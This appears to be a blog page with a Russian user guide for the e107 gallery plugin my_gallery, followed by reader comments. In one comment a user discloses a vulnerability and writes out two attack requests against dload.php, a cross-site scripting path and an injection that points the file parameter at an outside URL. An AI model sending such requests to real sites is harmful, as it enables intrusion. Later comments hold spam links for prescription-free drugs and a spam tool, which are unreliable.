Руководство my_gallery

Введение

Плагин позволяет создавать фото галерею на сайте.

Для работы фото галереи используется скрипт "highslide"
Он позволяет увеличивать иконки фотографий для просмотра, а также навигацию по ним с помощью клавиш управления курсором или кнопок на самом слайде (зависит он настроек highslide).
Подробнее про highslide можно почитать на официальном сайте http://vikjavev.no/highslide

Внимание, плагин не работает без поддержки модуля GD!!!

Галерея формируется средствами файловой системы, для этого используется двух уровневая иерархия (Раздел/Категория).
В каталогах категорий хранятся фотографии в формате jpg, другие форматы не поддерживаются. Файлы иконок и просмотра создаются сервером автоматически из исходного файла при обращении к нему или с помошю инструментария Файлы иконок и просмотра в Настройках плагина.


Установка

  • Скачать плагин
  • Распаковать в каталог плагинов
  • Инсталировать в панеле администрирования

Настройка



GD Version
- проверяет модуль GD, его версию и поддержку JPG. Если модуль не поддерживает JPG или совсем не установлен то плагин my_gallery работать не будет!

Панель администрирования плагина имеет 4 раздела



Настройки галереи



Панель настроек содержит основные настройки галереи
  • Путь к фотогалереи (URL) - по умолчанию это каталог Gallery
  • Количество иконок на странице (колонок * рядов) - задает количество иконок в ряду и количество колонок
  • Максимальная высота иконки (в точках) - задает максимальную высоту иконки
  • Максимальная ширина иконки (в точках) - задает максимальную ширину иконки
  • Максимальная высота просмотра фотографии (в точках) - задает максимальную вышину просмотра фотографии
  • Максимальная ширина просмотра фотографии (в точках) - задает максимальную ширину просмотра фотографии
  • Метод отображения иконок - изменяет метод отображения иконок, если эта опция выключена отображаются простые иконки, а если включен то иконки создаются на основе подложки (файл images/tn_blank.jpg), работа со слайдом описана ниже
  • Файлы иконок и просмотра - инструмент для создания файлов иконок и просмотра, пометив нужные чекбоксы и задав качество изображения нажмите кнопку Создать/обновить, будут созданы иконки и файлы просмотра, это ускоряет работу галереи но увеличивает количество файлов на хостинге
  • На главной странице показывать - настройка главной странички галереи, можно выбрать что будет отображаться (Титульная картинка, Последние добавления, Последние комментарии, Случайные файлы)
  • Путь к титульной картинке (URL) - задает путь к титульной картинке, отображается на главной странице галереи при включеном параметре Титульная картинка в разделе На главной странице показывать
  • Название фотогалереи - задает название галереи
  • Положение панели навигации - задает расположение и видимость панели навигации по галереи, можно сделать ее не активной если используется меню my_gallery_nav_menu
  • Стиль отображения Highslide - задает внешний вид окна Highslide
  • Показывать описание к галерее - задает положение описания к галереи или деактивирует его
  • Разрешить комментировать фотографии - включает систему комментариев
  • Разрешить оценивать фотографии - включает систему рейтинга
  • Метод сортировки изображений - задает метод сортировки (NA - по имени в алфавитном порядке, ND - по имени в обратном порядке, DA - по дате добавления в порядке возростания, DD - по дате в порядке убывания)
  • Заголовок меню галереи - задает название меню my_gallery_menu
  • Максимальный размер картинки в меню (в точках) - задает максимальный размер отображения изображений в меню
  • Количество случайных картинок - задает количество изображений в меню my_gallery_menu

Добавить изображение



Форма для добавления изображения в галерею, в основном ориентирована на пользователей сайта, доступна в соответствии с настройками раздела Загрузки на сервер (e107_admin/upload.php). По умолчанию ссылка на нее есть только в разделе администрирования плагина, если нужно разместите ее в любом удобном месте на вашем сайте.


Новые поступления



Панель предназначена для модерации присланых пользователями изображений. Позволяет опубликовать или удалить, выбранные из списка присланных, изображения. Одновременно с публикацией можно создать файлы иконок и просмотра, а также позволяет уменьшить размер и качество оригинального изображения.

Управление



Панель Управление позволяет редактировать название и описание, удалять или перемещать выбранные изображения. По умолчанию открывается последняя галерея, для перехода в другой раздел галереи используется выподающий список Каталог/Раздел.


Редактор описания галереи


Форма редактирования описания к галереи, открывается по ссылке [Изменить] если функция Показывать описание к галерее активирована в панеле настроек. Позволяет добавить или отредактировать описание к галереи.
Описание галереи сохраняется в файл соответствующего каталога галереи, если доступа на запись нет описание не сохранится.


Работа со слайдом

Если в настройках отображения иконок включить метод "использовать слайд" (images/tn_blank.jpg) то в галерее иконки будут отображаться в виде слайдов.
Файл images/tn_blank.jpg это заготовка слайда, ее можно создать свою, с учетом дизайна сайта и подходящего размера.
Принцип работы со слайдом следующий:
  • - определяются размеры слайда (например images/tn_blank.jpg имеет размеры WxH 150x100 точек)
  • - определяются координаты позиционирования иконки - x=W/2, y=H*0.9/2(то есть иконка позиционируется в центр слайда со смещением вверх на 10%)
  • - соответственно максимальные размеры иконки задаем из этого расчета (например при выше указанных размерах слайда можно установить максимальный размер иконки 90x140, получим отступы 5 и 5 точек по горизонтали и 5 и 15 по вертикали)
Если максимальный размер иконки будет больше размеров слайда, то выступающие края будут обрезаны.

Меню навигации my_gallery_nav_menu.php



Меню показывает структуру галереи, для ее отображения необходимо активировать my_gallery_nav в панели управления Меню. При необходимости можно настроить ее видимость (например - скрывать на странице my_gallery.php).

Меню случайной картинки my_gallery_menu.php



Меню показывает случайные изображения из галереи, для ее отображения необходимо активировать my_gallery в панели управления Меню. Название меню, количество и размер изображений задается через админцентр в настройках плагина. При необходимости можно настроить ее видимость (например - показывать на странице news.php).

23 коммент.:

Bukofka комментирует...

привет!
а вопрос можно?
установила плагин my_gallery
все хорошо, все работает, кроме одного момента - нажимаю в админке "Добавить изображение" и меня перебрасывает на главную страницу сайта...
с чем это связано?

AX комментирует...

Нужно настроить загрузки на сайт (e107_admin/upload.php), выставить там уровень доступа (кому можно присылать файлы) и задать типы файлов.

Bukofka комментирует...

спасибо)) с загрузкой получилось :)
и еще пару вопросов, если не сложно -
как редактировать и создавать галереи?
и еще - если мне нужны две разные галереи со ссылками в основном меню - типа, Картины и Фото - как сделать? ;)
заранее спасибо за ответы - не ожидала, что ответите так быстро ;)

AX комментирует...

Пока галереи можно добавлять созданием каталогов в файловой системе, посредством FTP или через WEB интерфейс хостинга.
Ссылки в главное меню добавляются с помощью оснастки "Ссылки сайта" (e107_admin/links.php), если разделов и галерей достаточно много можно активировать меню my_gallery_nav.

Анонимный комментирует...

У меня не устонавливается случайное меню.... я добавляю в меню а на главной не показывает ... ???

AX комментирует...

Не отображается само меню или картинка? Вообще так понять в чем проблема сложно, желательно посмотреть, ссылочку дайте.

apostol goroda grexa комментирует...

Вопросик можно ?не получаеться довести плагин до ума !!! сначала была проблема в кодировке в админ центре, после перекодировки в utf-8 файл /e107_plugins/my_gallery/languages/Russian.php проблема с кирилицей в галерее решить так и не смог ((( перекодировал название файлов папок и в utf-8 win1251 но все четно

Анонимный комментирует...

Hello,

i download your plugin, but i can`t upload pictures. The setting is ok..
And when i upload some picture, show to me error message >

The file did not upload. Filename: 'cisterna_01.jpg'
Error: The filetype image/jpeg is not allowed and has been deleted. (1)

No Any line..


Can you help me please what can i do with this ?

Thank you very much...

Ace-Ventura.com

Анонимный комментирует...

Здравствуй, имеется такой вопросег. Нашёл небольшую уязвимость плагина, помоги исправить...
Запрос для выполнения атаки:
СКРИПТИНГ
GET /e107_plugins/my_gallery/dload.php?file=Gallery/GalleryOneXSS%40%2Bxscript%2DXSS%2B/xscript%2D.com HTTP/1.1
ЭНДЖЕКТ КОДА ХТМЛ СТРАНИЦЫ
Запрос для выполнения атаки:
GET /e107_plugins/my_gallery/dload.php?file=http%3A//www.wwwwwwww.ww/codeinjectfile HTTP/1.1

AX комментирует...

Вот я выкладывал патчик http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.347
Сравни свой файл dload.php с тем что в патчике.

Ыыыы комментирует...

Можно каждой галереи присвоить титульную картинку? Т.е. судя по этой картинке пользователь понимал, какого рода фотографии находятся в галереи.

AX комментирует...

Не, такого функционала пока нет.

Анонимный комментирует...

Помогите пожалуйста! Никак не получается убрать названия файлов под изображением.. Скажите пожалуйста что нужно поправить в исходниках чтобы под картинками не отображалось их имя??

Анонимный комментирует...

I found this site using [url=http://google.com]google.com[/url] And i want to thank you for your work. You have done really very good site. Great work, great site! Thank you!

Sorry for offtopic

Анонимный комментирует...

Who knows where to download XRumer 5.0 Palladium?
Help, please. All recommend this program to effectively advertise on the Internet, this is the best program!

Анонимный комментирует...

[url=http://ups.uoftpharmacy.com/forum/]Where Can I Buy generic Cialis[/url]

Анонимный комментирует...

[url=http://digg.com/health/Viagra_Health_manual_Viagra_without_prescription/]buy viagra without prescription[/url]

Анонимный комментирует...

[url=http://www.reddit.com/r/science/comments/b6hcv/viagra_without_prescription_erectile_dysfunction/]Buy Viagra Without Prescription[/url]

xoox комментирует...

Здравствуйте!

Установил плагин, но в админской части всё пишеться "кракозябрами". Как это выечить???? Спасибо!

AX комментирует...

Кодировки лечатся использованием соответствующего файлика локализации из каталога languages. Там есть Russian.php (дефолтный файл локализации в кодировке UTF-8) и Russian.1251.php в кодировке win-1251. Надеюсь понятно что нужно с ними делать.

Анонимный комментирует...

В Голландии появилась новая услуга, [url=http://bit.ly/aUeqlK ]платная подруга[/url]
она поговорит с вами по телефону, составит компанию по магазинам, пойдет с вами в кафе и если нужно припрется наночь глядя с бутылкой вина поговорить по душам.

И ничего не потребует взамен, кроме 50 евро в час.

Анонимный комментирует...

Если честно, случайно попал на этот форум, но похоже попал как раз туда, куда надо...
Ну перво наперво разрешите поприветствовать всех)
Никогда не думал, что жизнь меня заставит обратиться к кому-либо по каким либо жизненным вопросам, ибо всегда искренне был уверен, что человек по сути не такое глупое существо, что бы не суметь разобраться в себе и своих проблемах. Считал, что те, кто обращаются, им просто лень покопаться в себе. Видимо за это и поплатился. Вижу, что моих познаний уже далеко не хватает, что бы сложившуюся ситуацию хоть как то «разрулить»… Именно поэтому и обращаюсь…
Конечно понимаю, что в двух словах не рассказать всех обстоятельств, а тем более нюансов, но попробую хоть что то для начала:
Мне 29, будучи женатым, повстречал замужнюю, ну и как говориться завертелось, закружилось...

[url=http://bit.ly/c1UQr0 ]Продолжение[/url]

Анонимный комментирует...

Что скажете по поводу [url=http://bit.ly/btthjB ]статьи[/url]